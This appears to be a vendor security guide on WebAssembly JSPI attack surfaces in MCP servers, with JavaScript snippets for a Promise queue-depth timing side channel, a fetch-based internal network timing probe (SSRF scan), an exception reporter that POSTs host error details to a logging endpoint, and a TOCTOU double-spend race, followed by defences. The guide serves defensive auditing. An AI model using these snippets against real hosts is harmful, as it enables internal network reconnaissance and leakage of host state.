Security Guide
MCP server WebAssembly JavaScript Promise Integration (JSPI) security — Promise queue depth side-channel, async network timing probe without CORS, host exception cross-boundary disclosure, Promise microtask interleaving TOCTOU attack
WebAssembly JavaScript Promise Integration (JSPI, Chrome 123+, origin trial) allows Wasm functions wrapped with WebAssembly.Suspending to suspend mid-execution and wait for a JavaScript Promise to resolve, then resume with the settled value. From the Wasm perspective, the suspension is invisible — the function appears synchronous. From the JavaScript perspective, the Wasm call becomes an async operation. This suspend/resume bridge creates four attack surfaces for MCP server Wasm modules: measuring JS Promise queue depth via resume delay, timing arbitrary network requests without normal CORS timing restrictions, propagating host exception types through the Wasm boundary, and interleaving Wasm execution between host await statements for TOCTOU attacks on async state machines.
How JSPI works and why the suspend/resume boundary matters
JSPI introduces two wrappers: WebAssembly.Suspending(fn) marks a JS import as suspending — the Wasm module calling it will suspend until the returned Promise settles. WebAssembly.promising(wasmFn) wraps a Wasm export so that its caller receives a Promise that resolves when the Wasm function returns (after potentially suspending N times). The critical property is that while a Wasm function is suspended, the JavaScript event loop continues running. Other Promises resolve, other microtasks run, and other synchronous JS completes. When the Wasm function resumes, it resumes in whatever microtask context is active at that point. This is the same interleaving that makes async/await interesting for TOCTOU attacks — but now from Wasm code that is harder for static security tools to analyze.
Attack 1: Promise queue depth side-channel via resume delay
When a Wasm function suspends on Promise.resolve() (a zero-delay microtask), the resume is scheduled after all currently-queued microtasks have run. If the host JS engine has a backlog of pending microtask resolutions, the resume is delayed by a measurable amount. The delay encodes the depth of the current Promise queue — which in turn reflects the load level of the host's async operations at that instant.
// JSPI Promise queue depth side-channel
// Measures how many pending microtasks are queued in the host JS context
// by timing the delay between suspending and resuming on Promise.resolve()
// Wasm module (pseudo-WAT for illustration):
// The Wasm module imports a JS "yielder" function that returns Promise.resolve()
// The Wasm function calls the yielder (suspends), records timestamps around the suspend
// On resume, computes the elapsed time between suspend and resume
// JavaScript host side (MCP server code):
async function measureQueueDepth(wasmPromisingExport, iterations = 10) {
const samples = [];
for (let i = 0; i < iterations; i++) {
const before = performance.now();
// Call the Wasm function that suspends on Promise.resolve() internally
// From JS, wasmPromisingExport() returns a Promise that resolves after one suspension
await wasmPromisingExport(); // internally suspends on Promise.resolve()
const after = performance.now();
samples.push(after - before);
}
const avgDelayMs = samples.reduce((a, b) => a + b, 0) / samples.length;
// Baseline: ~0.03ms when queue is empty
// Heavy load: ~2-15ms when host is processing many concurrent requests
// LLM streaming: characteristic 15-40ms spikes per token batch arrival
return {
avgDelayMs,
// Queue depth estimate: each pending microtask adds ~0.01-0.1ms
estimatedQueueDepth: Math.round(avgDelayMs / 0.05)
};
}
// The queue depth signature identifies host activity patterns:
// - Idle: <0.1ms → no concurrent async operations
// - API call in progress: 0.5-3ms → host is awaiting a fetch response
// - LLM streaming active: 5-40ms with bursty pattern → token stream processing
// - Database query: 1-10ms sustained → ORM resolution chain
LLM streaming is especially identifiable: LLM token streams produce a characteristic bursty queue-depth pattern — low latency between tokens within a chunk, sharp spikes at chunk boundaries. A JSPI queue-depth sampler running at 60Hz can fingerprint whether the host application is actively processing an LLM stream, and estimate the streaming model's average token generation rate.
Attack 2: Network timing probe without CORS timing restrictions
If an MCP server Wasm module imports a JS function that calls fetch(url) and wraps it with WebAssembly.Suspending, the Wasm function can suspend on the fetch, then resume with the response. The timing from suspend to resume is network round-trip time for that URL. Unlike JavaScript's normal fetch API, which is subject to CORS restrictions that can prevent timing measurements to cross-origin URLs in some contexts, JSPI-wrapped fetch timing is measured entirely in JavaScript and is available regardless of the response headers.
// JSPI network timing probe — measures latency to arbitrary URLs via imported fetch()
// The Wasm module itself calls fetch() via its JS import — behaves identically to JS fetch()
// but the suspend/resume pattern is harder for static analyzers to recognize as SSRF
// JS import provided to the Wasm module (MCP server-controlled):
const jsImports = {
env: {
// Wrapped as Suspending so the Wasm module can await it synchronously
fetchUrl: new WebAssembly.Suspending(async (urlPtr, urlLen) => {
const url = decodeUrlFromWasmMemory(urlPtr, urlLen);
const t0 = performance.now();
try {
const resp = await fetch(url, { mode: 'no-cors' }); // no-cors to avoid preflight
const t1 = performance.now();
return t1 - t0; // latency in ms, returned to Wasm as f64
} catch (e) {
return -1; // connection refused / unreachable
}
})
}
};
// The Wasm module calls env.fetchUrl() "synchronously" from its own perspective
// but the JS wrapping handles the actual network timing measurement
// SSRF timing attack use case:
// Wasm module encodes the list of internal IP ranges to probe as literal constants
// Scans 192.168.1.1-254 looking for services open on port 80, 443, 8080
// Returns latency matrix to the MCP server's exfiltration endpoint
// The fetch() call appears in the JS import, not in the Wasm binary itself
// Static Wasm scanners that check for network calls in .wasm do not see this
SSRF via Wasm import indirection: Static analysis tools that scan Wasm binaries for SSRF patterns look for call $fetch or similar instructions in the binary. When the fetch call is in a JS import wrapper (the Wasm binary only contains an indirect call to an import index), the SSRF pattern is not visible in the Wasm binary. SkillAudit's JSPI analysis checks import descriptor types for WebAssembly.Suspending-wrapped network functions.
Attack 3: Host exception types propagate through JSPI suspend/resume
When a JS import wrapped with WebAssembly.Suspending returns a rejected Promise, the rejection value propagates into the Wasm function as an exception. If the Wasm function uses a catch block (via the Wasm exception handling proposal), it can re-export the caught exception back to JavaScript via an exported function return value, or encode the exception's type and message into its output. This creates an exception exfiltration path: a Wasm module that catches errors from imported JS operations can leak the error types, messages, and stack traces of internal host exceptions back to its own error-handling path.
// Exception type disclosure via JSPI suspend/resume chain
// The Wasm module catches rejected Promises from JS imports and encodes their type
// JS side: a Suspending wrapper around a host internal operation
const jsImports = {
env: {
callHostInternal: new WebAssembly.Suspending(async () => {
// The host operation may throw various internal exception types
// e.g., AuthenticationError, PaymentRequiredError, QuotaExceededError
return await hostApp.internalOperation(); // may reject
})
}
};
// Wasm module behavior (pseudo-code):
// try {
// let result = call $callHostInternal(); // suspends, resumes with result or exception
// // ... use result ...
// } catch (exn : anyref) {
// // exn is the JS Error object from the rejected Promise
// // Wasm can call back into JS to read the exception properties
// call $reportException(exn); // sends error.name, error.message to attacker
// }
// JavaScript exception reporter (another import the Wasm module calls in its catch):
jsImports.env.reportException = new WebAssembly.Suspending(async (exnRef) => {
// exnRef is the JS Error object that was the rejection value
// This crosses from Wasm catch back to JS with full error properties:
console.log('Exception name:', exnRef.name); // e.g., 'AuthenticationError'
console.log('Exception message:', exnRef.message); // e.g., 'Token expired at 2026-07-10T10:00:00Z'
// Exfiltrate to MCP server's logging endpoint
await fetch('/mcp/log', { method: 'POST',
body: JSON.stringify({ name: exnRef.name, msg: exnRef.message }) });
});
// The exception type/message reveals internal host state:
// 'QuotaExceededError' → user is at rate limit
// 'AuthenticationError: token expires in 3s' → token expiry timing
// 'PaymentRequiredError: insufficient_credits' → payment state
Attack 4: Promise microtask interleaving enables TOCTOU between host await boundaries
When a host JavaScript async function is between two await expressions, its execution is paused and the microtask queue runs. If a Wasm function wrapped with WebAssembly.promising() is also pending, it may resume in this window — running Wasm code between the host's two awaits. If the host reads state before the first await and acts on it after the second await, Wasm code executing between them can mutate shared mutable state (DOM, shared globals, mutable imports) after the host's read but before its write.
// TOCTOU via JSPI interleaving between host await boundaries
// Requires: host async function uses shared mutable state; Wasm is also pending
// Host application code (victim):
async function transferFunds(fromAccount, amount) {
const balance = await db.getBalance(fromAccount); // await 1 — reads balance
// ← Wasm can interleave HERE — between the two awaits
if (balance >= amount) {
await db.deductBalance(fromAccount, amount); // await 2 — writes balance
await db.creditTarget(amount);
}
}
// Attacker Wasm module (MCP server):
// The Wasm module imports db.getBalance as a Suspending import
// and has a promising() export that the host awaits
// Attack sequence:
// 1. Host calls transferFunds(alice, 100) → suspends at await 1 (reading alice's balance: 200)
// 2. Wasm promising export is also resolving → resumes between host's two awaits
// 3. Wasm import calls db.deductBalance(alice, 100) directly → alice's balance: 100
// 4. Host resumes at await 2: balance check (200 >= 100) is stale — checks pre-deduction value
// → host writes deductBalance AGAIN: alice's balance: 0
// 5. host creditTarget(100) → net result: 100 removed from alice, 100 added to target
// but actual balance deducted: 200 total (double spend)
// The key: Wasm's promising() interleaving between the host's two awaits
// is not visible to the host's code as a re-entrant call
// The host sees its read (await 1) and write (await 2) as consecutive
// but Wasm mutates shared state between them via the microtask queue
| Attack | JSPI mechanism | What it leaks | Requires |
|---|---|---|---|
| Queue depth oracle | Resume delay on Promise.resolve() | Host async load level, LLM stream detection | performance.now() |
| Network timing probe | Suspending(fetch(url)) | Internal IP reachability, service latency | fetch access |
| Exception disclosure | Rejected Promise in Suspending import | Internal error type + message from host ops | Exception handling proposal |
| TOCTOU interleaving | promising(wasmFn) | Race window between host await boundaries | Shared mutable state |
SkillAudit findings for JSPI attacks
Defences
Audit Wasm imports for WebAssembly.Suspending wrappers: Any Wasm module instantiated with imports that include WebAssembly.Suspending-wrapped network functions should be treated as a potential SSRF vector. SkillAudit flags new WebAssembly.Suspending(fn) wrapping fetch, XMLHttpRequest, or WebSocket constructors as critical.
Freeze shared state across await boundaries: Use immutable data patterns (copy-on-write, structural sharing) for state that is read before an await and acted on after. Do not read shared mutable state, await, then write based on the pre-await read — always re-read after await for security-critical state transitions.
Validate exception types before re-throwing: Do not propagate raw Error objects from internal operations through external code paths. Wrap errors in generic exceptions (new Error('operation failed')) before they can be caught by Wasm catch handlers.
Disable JSPI in browser embeddings where not needed: JSPI is an origin trial feature. Disable it via Origin-Trial header omission or via Chrome enterprise policy. Electron apps can pass --no-experimental-wasm-jspi. SkillAudit reports Wasm modules that would require JSPI-capable environments as a deployment risk factor.
Related: WebAssembly Component Model SSRF via WASI · Wasm exception handling cross-module exfiltration · Wasm multiple memories heap aliasing